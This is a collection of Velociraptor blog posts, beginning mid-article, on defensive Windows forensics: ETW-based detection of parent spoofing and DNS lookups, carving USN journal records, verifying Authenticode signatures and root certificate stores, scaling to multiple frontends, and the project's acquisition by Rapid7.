Other cases of legitimate parent process spoofing include the Windows Error Reporting.

I thought it would be interesting to see UAC elevations and program crashes as well, so I did not filter those out.

Conclusions

In this post we implemented a sophisticated ETW based detection rule in VQL. We then wrote an artifact to encapsulate it and shared the artifact over the Velociraptor Artifact Exchange for other members of the community to use.

After adding the artifact to our deployment, we then issued the monitoring query to all clients. When any client detected the spoofing behavior, an event was sent to server in real time. We could then utilize any escalation mechanism such as escalation through slack or a The Hive.

The interesting thing about this approach is that the detection rule is implemented on the endpoint itself. It is the endpoint that is watching the ETW events directly and making the decision about the anomalous nature of the event. Therefore the number of events actually streamed to the server is very small - most events will be high value events (such as real parent spoofing, UAC elevation and crashes).

Other Log forwarding technologies simply stream all process creation events to a large backend server, where detection queries are implemented in large data mining engines. This increases the volume of irrelevant events forwarded to the server (most process execution events are not malicious!), requiring more backend processing capacity.

Velociraptor’s approach is very different! Velociraptor moves the initial analysis and triage to the end point, implemented via the powerful VQL query language. This means we do not need a lot of processing on the backend to scale to many thousands of monitored endpoints, as the server only sees high value, low volume events. We are essentially using the end point itself to create a de-centralized detection engine for a fast and scalable alerting system.

Unfortunately an ETW watcher must be running at the time the process is created, to be able to identify the spoofed parent. I am not currently aware of a way to detect that an existing process’s reported parent is not correct (Please let me know if you know of a way!). This means that simply collecting information at a point in time after the process is started (as in a Velociraptor pslist hunt for example) does not reveal this information easily.

In the next blog post in this series we will be looking at how ETW can be abused by malware and some of the limitations around ETW.

If you have a great idea for a new detection query, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Event Tracing for Windows Part 1

Thu, 02 Sep 2021 00:00:00 +0000

Digging into Windows Internals

One of the most important aspects of modern operating systems is instrumentation of the running software on the system. Instrumentation provides the visibility to understand what the system is doing at any given moment. This is obviously important for system administrators and software developers, but visibility into machine state is increasingly being used for security monitoring and response.

In Windows, system instrumentation is provided by the Event Tracing For Windows (ETW), an extensive framework for instrumentation and visibility.

Much has been written about ETW so I will not cover the details here, this blog post is the first of a series of posts that examine how we can leverage ETW for security monitoring using Velociraptor specifically.

Event tracing for windows.

The Event Tracing for Windows framework is documented extensively by Microsoft. In a nutshell, the framework is designed to facilitate interaction between event Consumers and event Providers.

Velociraptor provides the VQL event plugin watch_etw() to register Velociraptor as a Consumer. If you have not read about Velociraptor’s event queries, check out the documentation. In Velociraptor, event queries allow us to write real time monitoring rules on the endpoint, then forward events to the server, enrich the event with other information or respond to the event autonomously.

In this blog post we will go through some examples to illustrate the general technique but there are so many possibilities for advanced detection rules.

Exploring ETW - Monitoring DNS lookups

In this blog post, we will be building a Velociraptor query to monitor for DNS lookups on the endpoint. We mentioned previously that ETW connects providers and consumers, so our first task is simply to find a provider that will provider relevant data.

In this post we explore how you might develop new ETW based queries by discovering new providers and experimenting with novel detection rules.

ETW is designed to be self documented via manifest files, so each provider in the system can describe what it will provide to some extent. You can see all the providers on your system using the logman query providers command. We can immediately see some providers identified by the globally unique identifier (GUID).

Querying providers on the command line

Although it is possible to query for providers on the command line, using APIs it is possible to dump the entire manifest containing much more information about each provider.

There are some public efforts to better document ETW providers, for example https://github.com/repnz/etw-providers-docs contains a dump of various manifest files. I like to search that repository to find likely useful providers. In this case I will look for a provider that might give DNS information. The Microsoft-Windows-DNS-Client provider looks like a likely candidate.

ETW Providers documentation

Let’s get Velociraptor to watch the provider’s GUID for any events. VQL provides the watch_etw() plugin to attach Velociraptor to the provider.

SELECT *
FROM watch_etw(guid="{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}")

Watching the Windows DNS Client provider

After some trial and error we find the event ID we are interested in as being ID 3020. We can consult with the manifest file to get more information, such as the event data provided. Limiting the VQL query to filter for event 3020 and extracting the most relevant columns gives a nice DNS monitoring query:

SELECT System.TimeStamp AS Timestamp,
       EventData.QueryName AS Query,
       EventData.QueryType AS Type,
       EventData.QueryResults AS Answer
FROM watch_etw(guid="{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}")
WHERE System.ID = 3020

Deploying the query on endpoints

Our VQL query is able to monitor the endpoint for DNS lookups but we need a way to deploy the query to the endpoint. In Velociraptor, client side event queries are encapsulated in Client Event artifacts (Simple YAML files that include the VQL query, as well as human readable descriptions and parameters allowing for simple customization).

Simply select “Add new artifact” in the View Artifacts screen. By default Velociraptor presents a template for an artifact definition - ready for us to fill in the right information. Simply copy the VQL query into the new artifact under the Sources.Query section (remember to indent the query to fit within the YAML format). Since this artifact will be an event artifact running on the client, we must specify its type as CLIENT_EVENT

Adding a custom event artifact

What is the difference between a CLIENT and a CLIENT_EVENT artifact?

A CLIENT artifact is collected from the client, by sending a query, having the client execute the query, returning a result set (i.e. rows) back to the server. Therefore the CLIENT artifact normally has a limited lifetime (by default 10 minutes) over which to complete its work and return a result.

CLIENT_EVENT artifacts are designed to run continuously on the client, streaming rows to the server when events occur. Therefore these are treated differently by the client: The client simply records the event queries it is to run in a Client Event Table.

The client starts running all the event queries when it first starts. If the client table changes on the server (perhaps because the user added a new event artifact to the client), the client will resync its event table and restart all its queries.

Once Velociraptor contains the new artifact it is time to deploy the artifact to endpoints. Velociraptor can target different event artifacts to different clients by means of Label Groups. By simply assigning a label to a client, we can control the event artifacts running on the client. For example, some of our endpoints are more sensitive so we might want to only deploy certain monitoring queries on those clients only by labeling them as “Sensitive”.

For our example, we will deploy the query on All clients.

Targeting event monitoring to label groups

Once the query is deployed we can begin seeing any DNS events generated on the endpoint.

Monitoring DNS requests

Conclusions

Hopefully you were inspired by this post to search for your own detection queries. ETW is a rich source of endpoint state telemetry! There are many other providers to explore and many possibilities of combining ETW with other information sources.

While many users are familiar with Velociraptor’s ability to collect endpoint state and hunt for indicators at scale, the event monitoring capability is a different approach making certain types of detections much more convenient and effective.

For example, many users ask “how do I schedule a hunt to run periodically?” While there are some cases when this is a good solution, in most cases users are trying to find out what has changed in the endpoint’s state between two times.

An event monitoring artifact can inform of state changes on the endpoint and perform the preliminary triage and analysis of these events automatically.

In the next part of this article series we will be examining more examples of utilizing ETW for enhancing end point visibility and facilitating advanced response. We will also be discussing limitations with this technique.

Carving $USN journal entries

Wed, 16 Jun 2021 00:00:00 +0000

Digging even deeper!

One of the most important tasks in DFIR is reconstructing past filesystem activity. This is useful for example, in determining when files were introduced into the system (e.g. in a phishing campaign or drive by downloads) or when binaries were executed by way of modifications of prefetch files.

I have previously written about the Windows Update Sequence Number journal (USN). The USN journal is a file internal to the NTFS filesystem that maintains a log of interactions with the filesystem.

The USN journal is a unique source of evidence because it can provide a timeline for when files were deleted, even if the file itself is no longer found on the system. In the screenshot below I parse the USN journal using Velociraptor’s built in USN parser. I filter for all interactions with the test.txt file and find that it has been removed (The FILE_DELETE reason).

While the USN journal is very useful, it is short lived. The system keeps around 30mb worth of USN log, and older entries are removed by making the start of the file sparse. On a busy system this might result in less than a day’s worth of logs!

Carving the USN journal

Carving is a very popular forensic technique that aims to uncover old items that might still be present in unstructured or unallocated data on the drive. One would resort to carving in order to uncover new leads.

Carving attempts to recover structured information from unstructured data by identifying data that follows a pattern typical for the information of interest.

In the case of the USN journal, we can examine the raw disk and extract data that looks like a USN journal record, without regard to parsing the record from the NTFS filesystem or using any structure on the disk.

Disclaimer: Depending on the underlying hardware carving may or may not be effective. For example, when running on an SSD, the hardware will aggressively reclaim unallocated space, making it less effective. We typically use carving techniques as a last resort or to try to gather new clues so its worth a shot anyway.

The structure of a USN journal record

In order to carve the USN record from the disk, we need to understand what a USN record looks like. Our goal is to come up with a set of rules that identify a legitimate USN journal record with high probability.

Luckily the USN journal struct is well documented by Microsoft

In the above we can see that a USN record contains a number of fields, and we can determine their offsets relative to the record. Let’s look at what a typical USN record looks like. I will use Velociraptor to fetch the USN journal from the endpoint and select the hex viewer to see some of the data.

In the screen shot above I can identify a number of fields which seem pretty reliable — I can develop a set of rules to determine if this is a legitimate structure or just random noise.

The RecordLength field starts at offset 0 and occupies 4 bytes. A real USN journal must have a length between 60 bytes (the minimum size of the struct) and 512 bytes (most file names are not that large).
The MajorVersion and MinorVersion is always going to be the same — for Windows 10 this is currently 2 and 0. These 4 bytes have to be 02 00 00 00
The next interesting field is the timestamp. This is a Windows FileTime format timestamp (so 64 bits). Timestamps make for a good rule because they typically need to be valid over a narrow range to make sense.
The filename is also stored in the record with the length and the offset both specified. For a reasonable file the length should be less than say 255 bytes. Since the filename itself follows the end of the struct, the filename offset should be exactly 60 bytes (0x36 — the size of the struct).

Let’s take a look at the timestamp above. I will use CyberChef to convert the hex to a readable timestamp.

What is the lowest time that is reasonable? The last byte (most significant byte) should probably be 01, the next byte in should be larger than 0xd0. I can quickly check the earliest time that ends with 0xd0 0x01 using CyberChef — it is after 2015 so this is probably good enough for any investigations run in 2021. Similar logic shows we are good until 2028 with the pattern “d? 01”

Developing the VQL query for the carver

A good carver is fast and accurate. Since we need to scan a huge amount of data in a reasonable time (most hard disks are larger than 100Gb), we need to quickly eliminate obviously invalid data.

The usual approach is to use a fast but rough matcher for a first level sieve — this will eliminate most of the obviously wrong data but might have a high false positive rate (i.e. might match invalid data that is not really a USN record at all).

We can then apply a more thorough check on the match using a more accurate parser to eliminate these false positives. If the false positive rate remains reasonably low, we wont waste too many CPU cycles eliminating them and will maintain a high carving velocity while still having high accuracy.

When I need a binary pattern matching engine, I immediately think of Yara — the Swiss army knife of binary searching! Let’s come up with a good Yara rule to identify USN journal entries. You can read more about Yara rule syntax here, but I will use a binary match rule to detect the byte pattern I am after.

As usual in Velociraptor, I will create a notebook and type a query into the cell. As a first step I will stop after one hit (LIMIT 1) and view some context around the hit. Accessing the raw disk using its device notation (\\.\C:) and the NTFS driver provides access to the raw logical disk from Velociraptor versions after 0.6.0.

The rule will match a RecordLength smaller than 512 bytes, Version must match 2. The timestamp field must end in D? 01 (i.e. 0xD0–0xDF followed by 0x01). Finally the filename length must be smaller than 256 and the file offset must be exactly 60 (0x36).

As you can see above I immediately identify a hit and it looks pretty similar to one of the USN entries I extracted before.

Parsing the USN record

The Yara signature will retrieve reasonable candidates for our carver. Now we need to parse the record properly. In order to do that I will use Velociraptor’s binary parser. First I will write a profile to describe the USN struct and apply the parser to extract the MFT entry ID from the record. I can then use Velociraptor’s built in NTFS parser to resolve the MFT entry ID to a full path on disk.

You can see the full details of the artifact here but collecting this artifact from the endpoint is easy — simply create a new collection and select the Windows.Carving.USN artifact.

Since carving usually takes a long time, it is likely to exceed the default 10 minute collection timeout. For this artifact it is recommended to increase the timeout in the “Specify Resources” wizard pane (On my system, this artifact scans about 1Gb per minute so an hour will be enough for a 60Gb disk).

After a while the carver will produce a lot of interesting hits — some of which might be from a long time before what can normally be found in the USN journal (several months even!). If we are lucky we might see something from the timeframe of our incident.

We can post process the results to try to put a timeline on a compromise. For example, I will write a post processing query to find all prefetch files that were deleted (Deleting prefetch files is a common anti-forensic technique).

I can see two occasions where prefetch files were removed. I can see the timestamp based on the USN record, as well as the offset into the disk where the hit is found (around 3Gb into the drive).

Note that in the case of deleted files, the filename stored in the USN record may be completely different than the FullPath shown by the artifact. The FullPath is derived by parsing the NTFS filesystem using the MFT entry id referenced by the USN record.

For deleted files, the MFT entry may be quickly reused for an unrelated file. The only evidence left on the disk of our deleted prefetch file is in the USN journal, or indeed in USN record fragments we recovered once the journal rolls over.

Conclusions

Carving is a useful technique to recover new investigative links or clues. Because carving does not rely on filesystem parsing it might recover older deleted records from a long time ago, or from previously formatted filesystem.

The flip side is that carving is not very reliable. It is hard to predict if any useful data will be found. Additionally, if the adversary wants to really confuse us they might plant data that happens to look like a USN record — without context we really can not be sure if this data represents a real find or an anti-forensic decoy. A common issue is finding hits in what ends up being Virtual Machine disk images that just happen to have been stored on the system at one time — so the hits do not even relate to the system we are investigating.

Take all findings with a grain of salt and corroborate findings with other techniques.

This article demonstrated the general methodology of writing an effective carver — use a fast scanner to extract hits quickly, despite a potentially higher false positive rate (using an engine such as Yara). Then use more thorough parsing techniques to eliminate the false positives and display the results (such as Velociraptor’s built in binary parser). Finally apply VQL conditions to surgically target findings to only relevant records to our investigation.

To play with this new feature yourself, take Velociraptor for a spin! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

Verifying executables on Windows

Wed, 09 Jun 2021 00:00:00 +0000

How do we know if a windows executable is a legitimate program written by the purported developer and not malware? Users may run malicious binaries with increasingly devastating consequences, including compromise or ransomware.

To address this concern, Microsoft has introduced a standard called Authenticode, designed to sign trusted binaries, so they can be identified by the operating system. Additionally, recent versions of Windows will refuse load unsigned device drivers, therefore maintaining kernel integrity.

While the Authenticode standard itself is well documented, as DFIR practitioners we need to understand how Authenticode works, and how we can determine if an executable is trusted during our analysis.

This post explains the basics of Authenticode, and how Velociraptor can be used to extract Authenticode related information from remote systems. Since release 0.6.0, Velociraptor features an Authenticode parser allowing much deeper inspection of signed executables.

Is a binary signed?

Windows users can easily determine if a binary is signed by simply looking at the Explorer GUI: Right click on the binary and select “Properties” and the “Digital Signatures” tab. This offers a “Details” options where users can view if the signature is ok, who the developer was that signed the executable and other details.

For example, let’s inspect the Velociraptor binary itself which is signed.

Obviously we can not use this method to verify thousands of binaries found on remote systems, so we need to understand how Authenticode is implemented under the covers.

Authenticode uses a number of file format standards to actually embed the signature information into the binary file itself, as illustrated in the diagram below:

The above diagram shows that signing information is embedded in the PE file itself, and consists of a PKCS#7 structure, itself an ASN.1 encoded binary blob. The information contains a hash of the PE file, and a list of certificates of verifying authorities.

Velociraptor can parse the authenticode information from the PE file using the parse_pe() VQL function. This allows a VQL query to extract signing information from any executable binary (Since this is just a file parser and does not use native APIs, you can use this function on all supported OSs).

Let’s parse Velociraptor’s own PE file in a Velociraptor notebook using the following simple query:

SELECT parse_pe(file=’’’C:\Program Files\velociraptor\velociraptor.exe’’’)
FROM scope()

Among all the usual PE file properties, we can now also spot an Authenticode section, providing information about the subject who signed the binary, the signing time and an expected hash of the file.

Authenticode hashes

As we can see in the above screenshot, the authenticode standard provides an expected hash within the signature. However this is not the same as a file hash. We can verify this by simply calculating the hash using the VQL hash() function.

None of the calculated hashes is the same as the “ExpectedHash” provided in the Authenticode signature! This is because Authenticode hashes do not cover the entire PE file, as regular hashes do. Authenticode hashes only cover specific PE sections, in a specific order. They specifically allow PE sections to be reordered, and some regions in the file to be modified.

Many people find it surprising that signed PE files can be modified without invalidating the signature.

This means that hash database detection commonly used in DFIR do not work to identify malicious signed binaries. I have demonstrated this recently in a video where I modified a vulnerable driver to change its file hash, maintaining it’s authenticode hash. This allowed the driver to be loaded, even through its file hash was completely different and not found on Virus Total.

Typically Authenticode hashes are not maintained by malware classifiers such as Virus Total so it is hard to verify if a file has been modified in this way.

Catalog files

Armed with our new understanding of Authenticode, we may run VQL queries to collect all authenticode information from windows executables. One might be surprised then to discover that many native windows binaries do not contain any authenticode information at all.

The example above shows that notepad.exe, does not typically contain embedded signing information. Similarly, if one clicks on the the notepad.exe binary in the GUI no digital signature information is shown

Could Microsoft simply have forgotten to sign such an integral part of the OS as notepad.exe?

The answer turns out to be more interesting. When distributing a large number of binaries, a developer has the option of signing a “catalog file” instead of each individual binary. The catalog file is essentially a list of authenticode hashes that are all trusted. Catalog files are stored in C:\Windows\system32\CatRoot\{F750E6C3–38EE-11D1–85E5–00C04FC295EE}

While .cat files are simply encoded in PKCS#7 format, they do contain a few Microsoft specific objects. Velociraptor can parse the PKCS#7 files directly and supports the extra extensions using the parse_pkcs7() VQL function.

As can be seen in the above query, the cat file consists of a signer, and a list of hashes. Typically no filenames will be given for the hash (although sometimes there will be a filename hint). It is only the hashes that are important in cat files — this allows files to be renamed, but still verified.

Again these hashes are authenticode hashes as before, so you can not compare them against our usual hash databases like Virus Total. You can calculate the authenticode hash of a PE File using the VQL: parse_pe(file=FileName).AuthenticodeHash

To verify that a PE file on disk is signed, one must:

Calculate the Authenticode PE hash of the file.
Enumerate all cat files on the system
Parse each cat file to extract the list of hashes
Check if any of these hashes match the one calculated in step 1.

This process is obviously too slow for the OS itself to use. To speed things up, Windows uses a shortcut: A database file exists on the system which simply contains all the trusted hashes directly. The database uses the Microsoft ESE format and is located in C:\Windows\System32\catroot2*\catdb

The file is typically locked so you would need to use Velociraptor to collect it (Velociraptor will automatically parse the file out of the NTFS volume). The database contains tables mapping the hash to a cat file name and may contain hashes of old cat files that have been uninstalled from the system.

Verifying Signed files

So far we have learned how authenticode stores hashes in the PE file and we can verify if the hash of the current file matches the hash within the signature information, but how can we trust that this hash is correct?

To really verify a signature, Windows must verify the trust chain by following the certificates to a trusted root certificate. Windows maintains a list of trusted certificates in a “Certificate Root Store” within the registry. There are several stores, a main one for the OS and each user also has a certificate store in their NTUSER.dat hive.

Velociraptor can inspect the certificate root store using the certificates() plugin. This plugin uses the Windows APIs to query the root store and report the trusted certificates. It is typically important to verify the trusted certificate root store since if a adversary adds a new certificate to the root store, their executables will be trusted by the OS.

For example, I added the Velociraptor CA (a self-signed CA cert) to the windows root store below. I can see now that Windows trusts this certificate

Where are the trusted certificates stored on the system? A quick registry search will show a set of keys and values for the trusted certificates within the windows registry

The values are undocumented binary data. Luckily, Didier Stevens has previously written about the format of these registry keys here explaining these are simple length encoded items.

We can use Velociraptor’s built in binary parser to automatically parse these keys. The details are in the Windows.System.RootCAStore artifact but collecting it from the endpoint is easy

An added bonus of parsing the certificate directly from the registry keys is that now we have a registry key modification time to indicate when the certificate was installed into the root store. A quick VQL search to narrow down recently installed certificates can quickly zero in on malicious alterations and provide a timeline of compromise. Adding new certificates to a root store is not commonly done and even then they are likely to be done by a software update (so they should apply to most systems in the fleet). A hunt collecting this artifact and stacking by frequency can reveal compromises in minutes.

Putting it all together

In this blog post we looked at how authenticode signing works on Windows. We found that authenticode signatures can be embedded within the PE file, but that is not the whole story. Sometimes signatures are applied to a catalog file which contains the hash of the PE file instead.

Ultimately we simply need to know if a particular binary file is trusted or not. Velociraptor’s authenticode() function was upgraded in the 0.6.0 release to support both methods of trust automatically. Simply apply it to the PE file and it will include the method of trust as well.

The above screenshot shows both our examples — The velociraptor binary was signed via embedded signature on the right and Notepad.exe was signed via catalog. In both cases Velociraptor is showing the signer and their issuers and if the file is trusted. We additionally get the catalog file that is used to verify the file if applicable.

If you would like to quickly verify your windows executables at scale, take Velociraptor for a spin! It is available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

Scaling Velociraptor

Thu, 29 Apr 2021 00:00:00 +0000

Hunting at scale

Velociraptor is an endpoint visibility tool designed to query a large number of endpoints quickly and efficiently. In previous releases, Velociraptor was restricted to a single server performing all functions, such as serving the GUI, the gRPC API as well as connections to the clients (endpoint agents). While this architecture is regularly used to serve up to 10k-15k endpoints, at high number of endpoints, we are starting to hit limitations with the single server model.

This post introduces the new experimental multi-server architecture that is released in the 0.5.9 release.

What are the bottlenecks of scale?

If you have ever used Velociraptor on a small network of endpoints (say between 2k-5k endpoints), you would be accustomed to a snappy GUI, with the ability to query any of the currently connected endpoints instantly. Velociraptor clients typically do not poll, but are constantly connected to the server— this means that when tasking a new collection on an endpoint, we expect it to respond instantly.

As the number of endpoints increase this performance degrades. When forwarding a large number of events from the end points, or performing hunt that transfer a lot of data, one might experience sluggish performance.

However, Velociraptor is designed to operate reliably even under loaded conditions. Velociraptor maintains server stability under load by employing a number of limits:

Concurrency — This setting controls how many clients will be served at the same time. Typically clients upload their responses (JSON blobs or bulk file data) in HTTP POST up to 5mb in size. Since it takes a certain amount of memory to serve each client at the same time, without concurrency control it is difficult to control total server memory usage.
Load shedding — The server accepts client connections up to a certain rate (QPS limit). Above this rate, the server will refuse to connect, causing clients to back off and retry the connection later. This approach maintains server stability by spreading client uploads over time and capping the total client connections the server is seeing at each point in time.
Hunt client recruitment limits — Velociraptor limits the rate at which endpoints are assigned to a hunt (By default 100 per second). This therefore limits the rate at which responses come back and has the effect of spreading load over time.

These limits are designed to keep the server responsive and stable, but at high load they result in undesirable degradation of performance — in particular GUI performance suffers. Due to Golang’s fair scheduling algorithm, GUI requests are scheduled at the same priority as client requests — so as client number increases, the GUI become less responsive.

Can we add more frontend servers?

The natural solution to the scale problem is to add more frontend servers, so that each frontend server handles a fraction of the clients. To understand what is required for a multi frontend design, let’s consider the main tasks of the frontend:

TLS encryption — Frontends need to encrypt and decrypt client communication using TLS. This is a CPU intensive operation (This cost can be limited to some extent by using TLS offloading), which will benefit from multiple servers.
Distribute new work for clients — Since clients are constantly connected we need a way to notify a given frontend that new work is available for a client. A client may be connected to any frontend server, so we need a good way to notify all servers there is new work.
Receive query results from clients — Each frontend needs to receive the results and store that in the backend storage solution. The results of a query may be a row-set (i.e. JSONL files) or bulk upload data. We need a good distributed storage solution that can be accessed by multiple servers.
Receive events from the client and potentially act on them — Clients can run monitoring queries, forwarding real time information about the endpoint. These events may trigger further processing on the server (e.g. upload to Elastic). We need a good way to replicate these events between servers.

The datastore

Currently Velociraptor’s data store consists of flat files stored on the local disk. Since Velociraptor is primarily a collection tool, flat files work well. However, having files on the local disk means that it is impossible to share the datastore between multiple frontends running on different machines.

Previously, Velociraptor featured an experimental MySQL backend to store data. This solved the problem of distributing the data between frontends, by having all frontends connect to a central MySQL server. However, in practice the additional overheads introduced by the MySQL abstraction resulted in major performance degradation, and this data store was deprecated.

A more direct way to share files between multiple machines is via NFS or on AWS, EFS (Google has a similar product called Filestore). This works very well and is a great fit for the Velociraptor data access pattern:

Frontends always append to files, generally file data is not modified after writing (Think of a VQL Query results set — these are simple JSONL files that are written in chunks but never modified once written)
The same file is never written by multiple frontends at the same time — each file exists within the client’s path and therefore is only accessed by one client at the time. Since a client is only connected to a single frontend, there is no need for complicated locking schemes.

The result is that Velociraptor’s data store is truly lock free, and therefore we do not need to worry about NFS file locking (which is often complicated or not implemented).

Additionally, cloud providers offer highly scalable NFS services with essentially unlimited storage and very high IO bandwidth. This makes it operationally easier to manage storage requirements (We often run out of disk space when using a fixed disk attached to a virtual machine). Additionally, EFS is changed per usage so it is easier to budget for it.

Message passing

So if we simply run multiple frontends on different machines, load balance our clients to these frontends, and have all separate frontends simply write to the same shared NFS directory, this should work?

Not quite! Consider the following simple scenario, where multiple frontends are all sharing the same data store:

The admin browser (on the left) is connected to the GUI on one frontend, and is tasking a new collection from a client which happened to be connected to another frontend (on the right). There is no way to tell that client there is new work for it. Remember that Velociraptor does not rely on polling, all clients are always connected and can be tasked immediately! So we really need a low latency mechanism to inform the client that new work is available.

In order to facilitate this there has to be a way for frontends to communicate with each other and pass messages with very low latency (i.e. we need a message passing architecture). The GUI needs to simply message all frontends that a new collection is scheduled for a particular client, and the one frontend which presently has that client connected will immediately task it.

Multi frontend architecture

The latest release (0.5.9) features a multi frontend architecture. To simplify the message passing design, we designate one frontend as the Master and the other servers as the Minions. Velociraptor implements a simple steaming gRPC based replication service — replicating messages from each minion server to the master and from the master to all minion servers.

Minions receive events from the Master and generate events to send to the master, while the Master brokers all messages between minions. The Master node also runs the GUI and some other services, but the bulk of the client communication and collection is handled by the Minions.

Note that in this architecture, the GUI is running on a single frontend, and the number of clients handled by it can be reduced, keeping the GUI particularly responsive.

Load balancing

In order to spread the load evenly between the multiple frontends, it is possible to use a load balancer in front of all the frontends.

As an alternative, it is possible to allow the Velociraptor clients themselves to load balance by providing multiple frontend URLs within the clients’ configuration. Clients will pick a frontend in random and rotate through the frontends randomly. This should result in relatively even distribution of clients between all the frontends.

Current implementation

The upcoming 0.5.9 release uses command line arguments to control the type of frontend. By default a frontend will be started as a master, starting all services including the GUI in process. This is exactly the same behavior as the previous single frontend architecture so it should not affect existing users.

In order to allow minion frontends to connect one must:

Mount the EFS or NFS directory on both master and all minion servers adjusting the Datastore.location path in the configuration file if needed.
Add a new frontend using the velociraptor config frontend command

In order to start a minion frontend, one must specify the minion flag and the name of the node (the name consists of the dns name of the frontend followed by the port). The process is illustrated below.

Conclusions

The new architecture is still experimental but shows great promise to be able to scale Velociraptor to the next level. We need contributions from the community with polishing the new architecture and making it easier to deploy in wide deployment scenarios (for example Terraform templates, or docker files).

If you would like to contribute to this effort, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord

The Next Phase of Velociraptor

Wed, 21 Apr 2021 00:00:00 +0000

We’ve made great strides on our journey to make the Velociraptor vision come true. We’ve built an open-source Velociraptor to help users deploy a world-class tool for endpoint monitoring, digital forensics, and incident response. Today, I am happy to announce our new home with Rapid7.

Boston-based Rapid7, provider of security analytics and automation, has acquired the Velociraptor open-source technology and community. Rapid7 shares our vision and will help us continue to achieve it. We’re gaining a great partner in Rapid7 on this journey.

In the many years I’ve been in cybersecurity — including time at Australian Signals Directorate (currently known as ACSC), the Australian Federal Policy, and Google’s DFIR team — I’ve learned that digital forensics and incident response (DFIR) is a unique field. Defenders are typically at a disadvantage for a few reasons:

Attackers only need one of the many possible avenues to compromise the network, while defenders have to cover all avenues effectively.
Defenders have to detect more attacks on the endpoint as organizations expand their environments beyond the network perimeter to interconnected systems on the internet.
New vulnerabilities are being discovered almost daily and attack tools like ransomware are designed to extract maximum damage from victims (in the good old days, the worst an attacker might achieve is a defaced website!).
Building out DFIR capabilities requires specialized knowledge and skills in the intricacies of operating systems, web technologies and networking just to understand the advisories, let alone to detect breaches on the network.

Velociraptor was born from these observations. As an open-source developer and contributor for many years, it became clear to me that the way forward lies in open source and, more importantly, the ability of open source to bring together a community of users and developers. No one person, team or company can cover the entire DFIR field quickly and sufficiently enough. It is clearly a task for a community effort!

I also observed that existing open-source tools required a high-level of development skills to contribute code, and had a long release/deployment cycle. Velociraptor’s unique approach is to provide powerful building blocks accessible through a simple query language called VQL. Having an intermediate query language as the mechanism to write new detection, collection and analysis capabilities in Velociraptor facilitates the following goals:

VQL must be simpler to learn than a full-featured programming language to lower the barrier to entry for prospective contributors. In many cases, VQL can be tweaked from existing queries to cover novel detection or analysis techniques using primitives already available in Velociraptor (like NTFS analysis) but combined in novel ways.
VQL must be able to be deployed quickly. Since VQL queries can be added at runtime without the need to rebuild or re-deploy endpoint software, they can be used instantly to hunt for new indicators in minutes.

The Velociraptor vision is that VQL queries are the medium of information sharing and exchange between DFIR experts, researchers, and the users who are desperately trying to determine if their networks are compromised.

Attack methods are becoming more sophisticated all the time, and the techniques required to detect these go far beyond simple hashes, event log forwarding, and Yara signature of current technology. Techniques such as analysis of evidence of execution, low-level NTFS artifacts, parsing process memory and various artifacts left behind on disk are now required to reconstruct the attack timeline for effective detection and remediation. It is clear that Velociraptor needs to provide access to these advanced analysis techniques to enable sophisticated novel detection at scale on the endpoint.

A new partnership

I am very excited that Rapid7 shares our community’s vision and will help us achieve it. The one aspect I was really excited about is Rapid7’s commitment to open source and track record of responsible stewardship. The company created an open-source community of its own with AttackerKB, a community-driven platform where security professionals exchange information about vulnerabilities to better understand the impact and likelihood of being exploited. And Rapid7 has been shepherding and supporting the Metasploit Project, which it acquired nearly a dozen years ago.

The Metasploit Project is still one of the most consistently active open-source security projects and communities in the world. Rapid7 recognizes the immense value of ongoing collaboration between the community and the Metasploit open-source team, and the company has continued to invest in and nurture Metasploit. In return, the Metasploit community has built trust with Rapid7. Under Rapid7’s stewardship, the Metasploit Project continues to grow, thrive, and evolve.

There is a great synergy between Metasploit — the standard red team framework — and Velociraptor — the standard blue team platform. When a new vulnerability or exploit is published, the Metasploit project implements a module targeting it within days. Imagine a Velociraptor VQL query being published within a similar timeline! Rapid7 is a natural choice for nurturing and drawing from the collective knowledge of both red and blue teams.

Much like Rapid7 has done for Metasploit, the company is committed to building the Velociraptor community. I will be joining Rapid7 to continue leadership and support of the community — with all of the resources of Rapid7 to back me up — so, together, we may improve the state of blue teaming and defense.

Rapid7 also has a vibrant services team that experiences daily the cybersecurity breaches that we are trying to defend against. Having practical, hands-on exposure to current and emerging threats places Rapid7 in the unique position of contributing and supporting Velociraptor — thereby feeding a lot of the practical, real-world experience to the community in the form of effective, well-tested VQL queries. Additionally, integrating Velociraptor into a large-scale detection capability will provide the impetus to develop a highly scalable Velociraptor server that’s able to serve a large number of endpoints efficiently.

Rapid7’s commitment to the future of the Velociraptor community will ensure that Velociraptor is well-known globally. With conference appearances and community events, Rapid7 will promote the tool, grow the community, increase the types of users, and cater to a wider set of needs. This will benefit the entire community, as Velociraptor’s capabilities are improved.

Rapid7 will enable Velociraptor to graduate to the “next level” in terms of scale, development velocity, stability and capability by drawing on a wide-range of capable and experienced people to support the project. I am very excited to see the Velociraptor vision coming true.

There are no plans to commercialize Velociraptor. However, the Managed Detection and Response teams at Rapid7 will immediately leverage Velociraptor and insights from the community to enhance its incident response capabilities for customers. Further, integration of Velociraptor’s endpoint data collection capabilities with Rapid7’s Insight agent will greatly increase Rapid7’s endpoint visibility and detection capabilities and deliver immediate benefits to its customers.

Finally, dear reader, if you also share our vision for a powerful and free open-source platform to enable blue-teamers to quickly hunt, detect, and remediate novel threats, consider joining our community. Download Velociraptor from GitHub, kick the tires, and provide feedback.

Check out the blog Rapid7 posted about their commitment to supporting this community.

Digging into process memory

Fri, 16 Apr 2021 00:00:00 +0000

Unlike traditional dead disk forensic tools, Velociraptor’s main advantage is that it is capable of directly looking at volatile system state, such as running processes, open files and currently connected sockets. This class of forensic artifacts are called Volatile Artifacts since they change rapidly as the system operates — processes can start and stop quickly, files can be closed etc.

